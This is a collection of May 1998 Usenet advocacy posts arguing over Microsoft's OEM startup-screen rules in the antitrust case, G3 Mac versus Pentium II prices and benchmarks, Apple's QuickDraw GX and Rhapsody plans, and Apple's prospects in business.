Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Thu, 28 May 1998 05:43:20 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6kjc1f$83t$4@ligarius.ultra.net>
References: <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k883d$okb$4@strato.ultra.net> <356f8bcf.2366573@news.supernews.com>
T. Max Devlin wrote in message <356f8bcf.2366573@news.supernews.com>...
>"John Saunders" <jws@jws.ultranet.com>, on Sun, 24 May 1998 00:34:26
>-0400,
>>
>>I personally find some of their arguments plausible. In particular,
remember
>>that they have had more experience supporting Windows customers than
either
>>you or I. Their Q&A mentions a case where a vendor interrupted the boot
>>sequence and wound up screwing things up for customers. It makes sense
that,
>>since the OS is designed to finish booting and then log a user on, that
any
>>customizations should take place after a user logs on. If the OEM wants to
>>do some perhaps massive customizations, then perhaps they should ship the
>>system with a default user ("start up" or something) which does the
>>customizations, then deletes itself and logs out. Note that MS is not
>>attempting to dictate what happens on any login other than the first. The
>>OEM could completely switch shells to one that provided a totally
different
>>interface, and Microsoft claims they wouldn't mind, as long as that
happened
>>after the first login. If true, that's no great barrier to entry.
>
>It is impractical, therefore infeasible, therefore ludicrous, to expect
>a vendor to differentiate the first login from the last...
T. Max, are you a programmer?
How about you ship the machine with a profile already created. It could be
called, "Startup". Startup could have a program in the Startup folder that
does the customizations, then logs out (don't erase the startup profile, you
might need it later).
Is that impractical?
>
> [...]
>>Please go read the MS Q&A at
>>http://www.microsoft.com/corpinfo/doj/5-18Q&A.htm. In small part, it says:
>>"Second, the government wanted Microsoft give up its right to display the
>>Windows user interface when consumers turn on a new PC running Windows for
>>the first time. [...]
>
>Says Microsoft? What exactly does the gov't ask for? I hardly think it
>is as general as "Microsoft give up its right to display the Windows
>user interface when consumers turn on a new PC running Windows for the
>first time."
>
>I rather think that they asked that "Microsoft give up its right to
>display Microsoft's own Windows applications when consumers turn on a
>new PC running the Windows OS for the first time." You see how
>fundamentally important the distinction between OS and apps in a general
>purpose computer are? Not if you listen to Microsoft, you don't...
>
No. Go read the government complaint. They are complaining that the contract
provisions prohibiting OEMs from changing the startup screens are
anti-competitive.
>
> [...]
>>
>>I contend that there is no "browser market".[...]
>
>Then why did Microsoft release a separate application called "Internet
>Explorer" to the Win95, Win3.1, and Unix markets?
>
Branding.
>> Only in the PC space is it the
>>case that browsers are not included with the operating system.
>
>Correction: the Microsoft "space" is the first case where http clients
>are including with the operating system. Sun has recently (on Solaris
>2.6, but not 2.5.1, the previous release, AFAIK) begun providing
>_rudimentary_ browsers (implemented with Java, of course) with their OS.
>Microsoft "pioneered" the idea of an integrated browser. Due to
>unprecedented user demand, I hear...
You believe this, don't you.
>> Browser
>>vendors (which largely means "Netscape") sell to the computer
manufacturers,
>>not to the end-user. The problem for Netscape is that Microsoft now agrees
>>with them, but sees no good reason to pay money to Netscape.
>
>The problem for Netscape is that Netscape believes in having a better
>product for the money than the competition, and Microsoft believes in
>not having any competition to begin with...
John Saunders
jws@jws.ultranet.com
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <6kir9k$lca$13839@dalen.get2net.dk>
Control: cancel <6kir9k$lca$13839@dalen.get2net.dk>
Date: 28 May 1998 10:20:31 GMT
Organization: BOFH Space Command, Usenet Division
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Date: Thu, 28 May 1998 08:03:52 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Message-ID: <joe.ragosta-2805980803520001@wil132.dol.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <356c6872.0@206.25.228.5> <gmgraves-2705981748120001@sf-usr1-24-152.dialup.slip.net> <6kig0f$4ed$2@newsfep3.sprintmail.com>
In article <6kig0f$4ed$2@newsfep3.sprintmail.com>, macghod@concentric.net wrote:
> > > Gawd, can anymore excuses be made for the high price of apple
> > > hardware? I'm sure there can. sigh.
> >
> > High prices. $1600 will buy you a G3 Mac which is MUCH faster than a
> > 400 MHz PII (currently the fastest there is) How much does a 400 MHz
> > PII cost? $2600-$3000? High priced Macs indeed.
>
> Oh please George, give me a break. Using commercially available compilerers,
> a g3 266 using codewarrior pro 1 is SLOWER!!! than a p2 300. See eric
> bennets web page. And I am not even claiming a p2 300 is faster than a g3
> 266, I am merely claiming that the p2 300 is about the same as a g3 233.
Sure. You chose the slowest compiler for the G3 and the fastest one for
the PII. That makes for a really fair comparison.
BTW, I see that you consider ByteMarks to be a good benchmark since you're
using it. Now, let's choose the best compiler for each platform and see
how the results shape up--oops the G3 is twice as fast.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: cb@bartlet.df.lth.se (Christian Brunschen)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 28 May 1998 13:29:53 +0200
Organization: The Computer Society at Lund
Message-ID: <6kjhrh$2fh$1@bartlet.df.lth.se>
References: <6kj771$3v3$1@ironhorse.plsys.co.uk> <B1927A7F-2C857@206.165.43.156>
NNTP-Posting-User: cb
In article <B1927A7F-2C857@206.165.43.156>,
Lawson English <english@primenet.com> wrote:
>mmalcolm crawford <malcolm@plsys.co.uk> said:
>
>>In <B1924891-1589E@206.165.43.70> "Lawson English" wrote:
>>
>>> Of course, the pre-NeXT Apple graphics engineers LIKED the idea of
>making
>>> 3D perspective available to people making text-editing/DTP applications.
>>> Certainly, most people that write personal letters or create
>>> posters/post-cards/fliers/etc., like the idea of a built-in API that
>allows
>>> 3D perspective to be applied to text and graphics.
>>>
>>No they didn't "like the idea of a built-in API that allows 3D perspective
>to
>>be applied to text and graphics", they liked the idea of "being able to
>apply
>>3D perspective to text and graphics". End users generally don't care a
>hoot
>>for how its implemented.
>>
>
>Nope. I said it better. With GX, you can create a text-shape and start
>editing it. As you edit it, you can apply a 3D perspective to that text and
>continue editing it. If you don't design the text-engine from the ground up
>to handle 3D, it will likely prove quite difficult to add in text-selection
>later if a 3D perspective has been applied independently of the
>text-editing API. With GX, the text-editing API "knows" about the 3D API
>and automatically compensates for it with no extra code required for the
>simplest case and only minimal extra code required for even the most
>complex case of nested viewports with concatenated transform matrices.
Of course, GX _does not_ handle 3D in any general way.
It is interesting to see that Lawson English condemns DPS for using 'only'
a 3x2 matrix (which gives us access to all affine transforms in 2D space)
rather than a full 3x3 matrix (which would allow arbitrary 2D transforms).
And at the same time he heralds GX for supporting '3D'. Fact is, to
support any useful subset of 3D transforms, you need a 4x3 matrix - much
like the 3x2 matrix used for 2D in DPS - and to support arbitrary 3D
transforms you need a full 4x4 matrix. (But those are rarely used, afaik -
for much the same reasns why 3x3 matrices are not used in most 2d graphics
systems.)
So, GX supports _far less_ '3D' features than DPS supports 2D; yet for DPS
this is bad, and for GX this is good.
This has been pointed out to Lawson before, yet he persists in his claims.
// Christian Brunschen
(I know that I sometimes make erroneous statements, but at least I do not
perpetuate them after having been corrected.)
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Why Microsoft has won
Date: Thu, 28 May 1998 13:16:50 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <356D63C2.3D80879D@nstar.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM> <6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM> <6k1moi$sp3$1@ns3.vrx.net> <3564A983.1DE3@CONVEX.COM> <6k3fho$be9$2@ns3.vrx.net> <3565A35B.AFDD18BC <EtLv7K.3HH@AWT.NL>
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NNTP-Posting-Date: 28 May 1998 13:21:41 GMT
Gerben Wierda wrote:
[cut]
> I daily use NEXTSTEP (since 1991) on intel and on my Turbo NeXTdimension. I
> have (OO) developed for NEXTSTEP, Windows 3.1 (C++), DOS and several Unixes
> (C). I own and have used Windows NT for a while. I regularly use Win95.
> Development-wise, no system even comes close to OPENSTEP (though Visix wasn't
> bad). The Windows API is an absolute catastrophic disaster if you ask me (and
> so is the X Window system).
I hate to be the guy who always responds to this chaff ("curmudgeon", as
Sean Luke has said). But I find myself wondering why you would say
something like this. From your description -- and I mean no offense --
you're hardly qualified to say. You've written C++ code in Windows 3.1;
I can't tell that you've ever used Win32. Who knows what revision of X
Windows you last used. What's more, your description leaves no room for
anything but NEXTSTEP to live up to your expectations. You don't mention
the MacOS API (which is far more horrible than either Win32 or The X
Window System), nor the Amiga graphical APIs, or BeOS.
In light of the fact, then, that you are basically saying "of the three
APIs I've used, I only like NEXTSTEP, everything else sucks", why not
just say "I like NEXTSTEP", instead of calling other APIs "absolute
catastrophic disasters"? I'm not easily bruised, but it rubs me the
wrong way to hear crap like that. If you like, you could provide some
evidence for such a blatant dismissal, or you could just not say it.
Either way would be fine, but the way you put it leaves a lot of room
for me to think that you don't know what you're talking about. I would
hate for that to be the case.
MJP
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 28 May 1998 13:18:03 GMT
Organization: P & L Systems
Message-ID: <6kjo6b$3v3$2@ironhorse.plsys.co.uk>
References: <6ke5q0$d5n$10@ironhorse.plsys.co.uk> <B1901A04-2D86E@206.165.43.147>
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In <B1901A04-2D86E@206.165.43.147> "Lawson English" wrote:
> mmalcolm crawford <malcolm@plsys.co.uk> said:
>
> >As I understand it (and I'm sure folks from Apple have posted publicly)
> >investigations showed that MacOS is so broken wrt the system services YB
> >requires that it would take longer to get YB on MacOS than to develop
> > MacOS X. It's not that Apple doesn't want to give you whatyou want here,
> > it's an engineering impossibility.
>
> Either they knew this when the NeXT purchase was made, or someone screwed
> up with the initial evaluation.
>
Why? Everything I recall seeing about YB/MacOS 8 was couched in tems of "if
we can possibly do it".
> There's been NO claim ever made by any
> Apple employee that I have heard about that the current OS model (based on
> System 7.x) for MacOS can support the kind of services that YB requires so
> they must have known since Day 1 of the NeXT purchase that they had to
> create a more modern MacOS in order to run YB apps.
>
This supports my statement above. I don't see what you're getting het up
about.
> In other words, now they are saying that the more modern MacOS will NOT
> provide the services that were promised for 4 years to purchasers of the
> first 2 generations of PowerMacs because MacOS X will not run on pre-G3
> PowerMacs, new YB apps will not run on older Macs and no MacOS before X
> will support pre-emption and protected memory of the caliber that was
> promised by Apple in the published book _MacOS 8 Revealed_.
>
So, the Old Apple let you down. If you're willing to hang around, maybe
you'll see what the New Apple will deliver. Given your attitude I'd
personally rather you just bought a PC with Windows, and then see how you get
on.
> I wonder of the Reality Distortion Field is proof against class action
> lawsuits.
>
<yawn>
mmalc.
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <356c6872.0@206.25.228.5> <gmgraves-2705981748120001@sf-usr1-24-152.dialup.slip.net> <6kiqjf$q38$1@nargun.cc.uq.edu.au>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <356d6a76.0@206.25.228.5>
Date: 28 May 98 13:45:26 GMT
"Christopher Smith" <drsmithy@usa.net> wrote:
> George Graves wrote in message ...
> >In article <356c6872.0@206.25.228.5>, jkheit@xtdl.com wrote:
> >> tsn@netusa1.net (Ike Gilbert) wrote:
> >> > > L2 Pipelined Burst Cache, 512k,
> >> > The G3 uses a 512k BACKSIDE cache, which I believe is faster
> >> > than a L2 pipelined burst cache.
> >>
> >> What's the difference?
Does anyone know what the difference is?
[snip]
> >> Gawd, can anymore excuses be made for the high price of apple
> >> hardware? I'm sure there can. sigh.
> >
> >High prices. $1600 will buy you a G3 Mac which is MUCH faster
> >than a 400 MHz PII (currently the fastest there is) How much
> >does a 400 MHz PII cost? $2600-$3000? High priced Macs indeed.
Yes indeedy. My friend just bought a 400Mhz P2, 64mb 100mhz ram,
100mhz bus, AGP 2X, 2X DVD, ATI 8mb ATI 3D Pro thingy, 6.4Gby HD
Ultra EIDE, 56k modem (some cheez make), 2 USB ports, cheezy
speakers, sound, and 17" monitor all for $2100.00. It was from
either CompUSA or CompSomethinOrOther or something like that. They
had a promotion, buy one of their systems and get a 17" monitor
for $99bux. BTW, the 17" monitor is very nice, .28dp (not the
greatest available but very nice) and does up to 1280X1024 at 80hz
I think he said. All in a tower. And all the components are of
pretty decent or good quality (except the cheez noted ones which
work just fine).
> So where can I buy a 300Mhz G3 for $1600 ?
That is a pretty good price performance ratio, with a big national
chain backing the product, and one can probably do better if you
want to go absolute el cheapo via mail order. And this is in NH
for cry'n out loud.
Apple just doesn't compete on a a price performance basis well,
and furthermore reacts like a glacier in an ice age on price
changes/drops in the industry; all applogist koolaid rationalizations
notwithstanding.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: screwed? was:No Mac OS X for Intel...?
Date: 28 May 1998 09:02:14 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6kj96m$q9p$1@ns3.vrx.net>
References: <6jtt5c$q8k$1@news.cmc.net> <3562EA10.3ABFE6B5@pacific.net.sg>
<6kesfn$c5r$6@ns3.vrx.net> <6kfi4n$452$1@nntp2.ba.best.com>
<6kg0hn$689$1@news.digifix.com> <356B9C6F.434C2D58@nstar.net>
<6kgapb$a5t$1@news.digifix.com> <356C6096.497E4DBD@nstar.net>
<6khtaq$ril$1@news.digifix.com> <rmcassid-2705981426480001@dante.eng.uci.edu>
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In <see-below-2705982322330001@209.24.241.137> Matthew Vaughan claimed:
> I'm not sure why. How would that be worse than using a completely
> different standard? At least this way there's a chance of some crossover
> from PC vendors. I think there are way, way more graphics cards available
> now for this reason. I'm sure there never would have been NuBus 3Dfx
> cards, or Matrox, or Number Nine, or probably even ATI.
Exactly. Had it not been for PCI we'd have SuperMac cards that were
overpriced versions of some PC vendor's chip set, and the PC side would be
generally outperforming us.
> software driver could load). In some cases that could be OpenFirmware,
> with the extended functions becoming available when the driver loads, but
> not all PCI cards even support that.
Although it is becomeing much more common (finally).
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: screwed? was:No Mac OS X for Intel...?
Date: 28 May 1998 09:06:38 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6kj9eu$q9p$2@ns3.vrx.net>
References: <6jtt5c$q8k$1@news.cmc.net> <3562EA10.3ABFE6B5@pacific.net.sg>
<6kesfn$c5r$6@ns3.vrx.net> <6kfi4n$452$1@nntp2.ba.best.com>
<6kgmc8$nc0$5@ns3.vrx.net> <356C618E.FE07AE3A@nstar.net>
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Cc: mjpeck@nstar.net
In <356CF354.1C23099A@nstar.net> "Michael J. Peck" claimed:
> > > Well, I'm quite sure it's had an effect on its popularity.
>
> [sigh] Why do we have to be at odds on this?
Because I feel that the particular market served by Linux doesn't _really_
care about this issue, and would run Linux as long as it boots.
> Assume that nobody has switched to Linux *because* of its lack of
> drivers. I imagine that's safe, so if I can produce one individual who
> has *not* switched to Linux because of its lack of drivers, I can
> demonstrate what I said above.
*coff*. One example _cannot_ be used to demonstrate a population statistic
like "popularity". That's silly, and you know it.
> I do know, in fact, many people who will not use Linux because of its
> lack of drivers.
That's NOT the point. The point is whether or not Linux is popular in
spite of this. It is. End of argument.
> This is another easy one. The demographic that uses Linux can tolerate
> lack of drivers more readily than the Rhapsody target market.
I am specifically talking about marketting Rhapsody for Intel to EXACTLY
the same market that Linux is used in today. I have stated this on MANY
occasions.
> > > Linux would be growing even more quickly if it weren't for sloppy and
> > > late driver support.
> >
> > Says you.
>
> Huh? I have to wonder what authority Maury Markowitz appeals to when he
> makes responses like this.
None, I made no claim. You did.
> Apart from you and me and the others who frequent this newsgroup, can
> you name five personal non-work-related colleagues who can decipher
> those acronyms? I can't.
That's a marketting problem, not a driver related one.
Maury
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Thu, 28 May 1998 10:33:25 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2805981033260001@sf-usr1-44-172.dialup.slip.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <6kiqhr$22u$1@nargun.cc.uq.edu.au>
In article <6kiqhr$22u$1@nargun.cc.uq.edu.au>, "Christopher Smith"
<drsmithy@usa.net> wrote:
> Ike Gilbert wrote in message ...
> >In article <6kf6jk$mcf$1@newsfep2.sprintmail.com>, macghod@concentric.net
> wrote:
> >
> >> I am looking to buy a computer. It MUST run the best operating system in
> the
> >> world.
> >> So that narrows things down to a pentium or a g3 mac (or 604e mac). A
> 233 g3
> >> is definitely fast enough for me, as is a p2 300. But a g3 233 costs
> $1500
> >> mail order, and this does not even have the tower case that the p2 has.
> >> Plus, look what one can get for much less: A LOT MORE!!
> >>
> >> Pentium II 300Mhz System€
> >>
> >> Intel Pentium II processor,
> >
> >The PowerPC G3 has been proven to be consistantly faster than the PII.
>
> Sure, but by the time you put it into a system your G3 processors costs
> more.
G3 233MHz, 64 MB RAM, 4 GB, 24XCD = $1599
Cheap 400 MHz PII @ $2300
>
> >
> >> M715€ motherboard,
> >> 64Mb SDRAM,
> >
> >True, the G3 only comes with 32MB standard, but you can add more RAM for
> >pretty cheap.
>
> Unless you buy it from Apple.
Club Mac GIVES you an extra 32 Megs when you buy their $1599 233MHz G3.
>
> >
> >> L2 Pipelined Burst Cache, 512k,
> >
> >The G3 uses a 512k BACKSIDE cache, which I believe is faster than a L2
> >pipelined burst cache.
By quite a bit. It has its OWN memory bus connecting it to the processor.
>
> Both the pII and the G3 use the same type of cache.
I don't think so. If they do, the PII's implementation is really lousy!
> >
> >> 4.3Gb IDE hard drive,
> >
> >The G3 comes with a 3 GB hard drive, so a loss of 1.3 GB storage.
The G3 comes with over 4 GB.
>
> His drive will be UDMA, whether or not the one is the Mac is is hard to
> determine, sicne Apple doesn't say.
>
> >
> >> 4Mb AGP 3D graphics accelerator,
> >
> >The G3 comes uses the Rage pro graphics accelerator, which works in
> >2D/3D. I'm not sure how they compare, but more than likely both cards
> >give similar performance gains. I mean, this PC freebie is no VooDoo 2.
>
> It's probably a Riva128 based card, so it's pretty good.
>
> >> 32-speed CD-Rom drive with audio,
> >
> >The G3 comes with a 24 speed CD-ROM, and macs have always been able to
> >play audio CD's from their internal/external CD drives. The PC CD-ROM is
> >33% faster than the one which comes in the G3, but I wouldn't think that
> >would cause a bottleneck in using software, especially since most
> >developers plan for only a quad speed CD-ROM.
Someone did a test recently of these 24 and 33X CD ROMs. The result was that
the difference between a 24X and a 33X was mostly in the mind of the
manufacturer's marketing dept. The testers could find NO case where the 33X
was faster than the 24X and in most cases neither was consistently faster
than a 16X; probabaly for the reason you give, above.
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Thu, 28 May 1998 11:04:15 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2805981104160001@sf-usr1-44-172.dialup.slip.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <6ki1sh$qcr$1@newsfep3.sprintmail.com> <joe.ragosta-2705982038040001@elk54.dol.net> <6kifon$4ed$1@newsfep3.sprintmail.com>
In article <6kifon$4ed$1@newsfep3.sprintmail.com>, macghod@concentric.net wrote:
> > The majority of real life apps (with Quake being the major exception) show
> > the G3 to be much faster.
>
> I doubt this.
Don't just doubt it, chck it for yourself. If you are really as
opened-minded on this subject as you say you are, compare
a couple of computers. Find a G3. devise a set of tasks for it
run them. Then do the same for a PII-400. I did it, and in every
test, the 266MHz G3 I was using beat the PII-400 by more than
twice. Run your own tests, then come back and tell us about it.
George Graves
Date: Thu, 28 May 1998 11:43:25 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Message-ID: <joe.ragosta-2805981143250001@wil92.dol.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <6ki1sh$qcr$1@newsfep3.sprintmail.com> <joe.ragosta-2705982038040001@elk54.dol.net> <6kifon$4ed$1@newsfep3.sprintmail.com>
In article <6kifon$4ed$1@newsfep3.sprintmail.com>, macghod@concentric.net wrote:
> Almost all developers used codewarrior. Eric bennet has the bytemark for
> codewarrior, the int score is 5.56, the fp is 4.77. THis is using
> codewarrior professional. This isnt even for a g3 233, its for a g3 266.
> A p2 300 using a COMMERCIALLY AVAILABLE compiler (MS visual c++) gets 5.69
> for int, and 4.82 for fp. Their are two commercial compilers for the mac,
> symantec and codewarrior. If symantec gives higher scores, I will gladly
> accept that. A beta of motorola, which motorola wont even ever ship does not
> count.
>
> That is one bytemark that shows the p2 300 to be faster than a g3 *266*!.
> Given that, I think the statement that a g3 233 is comparable to a p2 300 is
> quite fair
Of course you think it's fair. You chose the slowest PPC result you could
find and compare it to the fastest PII result. Of course, no one else in
the universe would consider it fair, but you're free to do so if you wish.
>
>
> > The majority of real life apps (with Quake being the major exception) show
> > the G3 to be much faster.
>
> I doubt this.
Doubt all you want. Read my web page for comparisons.
> > > > True, the G3 only comes with 32MB standard, but you can add more RAM
> for
> > > > pretty cheap.
> > >
> > > Not that cheap, $100, and you still have to put it in. If you dont want
> your
> > > warranty voided thats another $100 to have a apple specialized whatever
> put
> > > it in.
> >
> > Try www.thechipmerchant.com
> >
> > 32 MB for $43 and 64 MB for $88.
> >
> >
> > > > So for $1700, I can get a G3 PowerMac that is up to twice as fast as a
> PC
> > > > that costs $1300.
> > >
> > > No, actually from the apple store its over $2000. And it aint twice as
> fast.
> >
> > Depends on which one. The G3/233 is $1600 at the Apple Store.
>
> Joe, why do you lie? YOu know darned well it is $1699. When I went to the
> store and configured it with the extra vram, ram, and modem it came out to
> over $2000. As a minitower it came out to over $2200
OK. It's $1700. But as I pointed out, you're figuring more than twice the
real cost for RAM.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: "William Whitehouse" <garyseven@geocities.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Thu, 28 May 1998 13:11:39 -0500
Organization: The Voodoo Assassination Project
Message-ID: <6kk93h$a01$1@news10.ispnews.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com>
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<joe.ragosta-1905982102440001@elk125.dol.net> <35648F7B.4F0@CONVEX.COM>
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NNTP-Posting-Date: 28 May 1998 18:06:41 GMT
In article <6kdarj$fc03@odie.mcleod.net>, "Michelle L. Buck"
<buck.erik@mcleod.net> wrote:
> Apple has an icredible brand name as Jobs says. In the enterprise
>(corporate) world, that brand is universally recognises as "NOT FOR
>BUSINESS".
Call me an old fogie, but I clearly recall a time (not even fifteen
years ago) when MS products had "NOT FOR BUSINESS" stamped all over them.
Business looked for anything that was "IBM APPROVED", and even though MS
had at least an implied amount of IBM motherhood, it was Lotus apps that
ruled what PC desktop market there was back then.
Had MS thought then the way you're thinking now, MS would not be even
close to being what it is today.
>Beleive me, at many many companies, a manager that approved a PO
>for Macs would be fired within the week.
Sounds like the days when I had to put my job (the first one out of
college no less - 12 years ago) on the line to push Sun workstations
over the System/360 solution the accountoids were so in love with at the
time.
I still recall their parting line in our first meeting over the
exchange - "Sun won't even be in business in two years." The CFO
personally thanked both me and my supervisor six months later for
our pro-Sun decision.
[...]
>Listen, I don't know about Maury, but I have worked in the corporate market
>for more than 10 years. My company makes all of its current revenue from
>sales of expensive custom vertical applications some of which run on Solaris
>and Dec Unix. I was a delegate to the early OSF meetings and I worked in a
>Fortune 100 company building RPC distributed C++ applications with Openlook
>and Motif GUIs.
And I argued for Windows 3.0 when most of the IT consultants I knew
were dogmatically arguing for the continued superiority of the Mac platform.
Even though OS/2 was considered a memory hog, the majority were betting
of OS/2 and PM over Windows and the Mac. Again - "IBM APPROVED".
>Unix workstations on the desk are just as dead now as we
>all used to say VMS mainframes were then. The war is over. Wintel won.
Maybe with a few more years in the business you'll realize that the
war is _never_ completely won in the area of desktop computer technology.
(If you doubt this, ask Bill Gates. Is Microsoft acting like the war's
already won?) Remember, the people who were arguing pro-IBM 15 years ago
had a far better argument than the pro-Wintel apologists do today. Then,
IBM _did_ have better customer support then the competitors, and it was
_much_ more expensive to switch between mainframe solutions. Today, both
developers and end-users can switch between platforms (or use both) for a
relative pittance. Also remember that it took Sun less than five years to
effectively pull the rug out from under the entire mainframe business.
In short, the idea that the dominant solution for the last five years
will be the dominant solution five years from now has _never_ carried the
day. Between the cover pages of Info Week maybe, but not in the real world.
Windows' current market dominance doesn't save itself in the long term from
its clear vulnerabilities.
-----
William Whitehouse whitehou@soltec.net
Date: Thu, 28 May 1998 11:10:10 -0700
From: jak@asu.edu (John Kestner)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Message-ID: <jak-2805981110120001@fdialup162.phnx.uswest.net>
References: <6kjhrh$2fh$1@bartlet.df.lth.se> <B192E0B6-44EE7@206.165.43.40>
Organization: Blues Industrial
pDC?^;F326tzhE*=nKWFfDW[,&
In article <B192E0B6-44EE7@206.165.43.40>, "Lawson English"
<english@primenet.com> wrote:
>The fact that Apple customers have expressed interest in 3D perspective
>applied to editable text while Apple engineers (and NeXT developers) claim
>that no-one wants it in the base graphics system, suggests to me that NeXT
>developers and the Apple engineers that came from NeXT do NOT understand
>the needs and wants of the current customer-base of Apple Computer.
I'm curious - is there some article which says that Apple customers want
3D perspective for editable text? I'd like to know who wants it, and where
you got the info.
I'm primarily a graphic designer, and while editable text after applying
effects is nice (ala Photoshop 5), I can't see why anyone would want 3D
perspective editable text so badly. If you actually felt the need for 3D
text (which should be rare), editability wouldn't be a big problem since
it would only be used in titles. And is perspective so important? What's
wrong with a simple drop shadow?
Hell, I'm glad Apple doesn't support it; if it's there, someone would use
it, creating an unreadably and tacky document. Leave that stuff to the
CorelDraw PC users who think they're making fine art. Apple has bigger
things to worry about.
Just an observation and an opinion.
John
--
We live only to discover beauty. All else is a form of waiting. - Kahlil Gibran
jak@asu.edu - http://www.public.asu.edu/~jkestner/
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Thu, 28 May 1998 17:58:06 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <3585a3eb.20219533@news.supernews.com>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k883d$okb$4@strato.ultra.net> <356f8bcf.2366573@news.supernews.com> <6kjc1f$83t$4@ligarius.ultra.net>
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"John Saunders" <jws@jws.ultranet.com>, on Thu, 28 May 1998 05:43:20
>
>T. Max, are you a programmer?
Not professionally, but I am familiar with the science and art of
programming.
>
>How about you ship the machine with a profile already created. It could be
>called, "Startup". Startup could have a program in the Startup folder that
>does the customizations, then logs out (don't erase the startup profile, you
>might need it later).
>
>Is that impractical?
Yes. In terms of return-on-investment, in consideration of technical
support problems, and in general computer operations, trying to set up a
"first time is special" boot is a losing proposition.
[...]
>No. Go read the government complaint. They are complaining that the contract
>provisions prohibiting OEMs from changing the startup screens are
>anti-competitive.
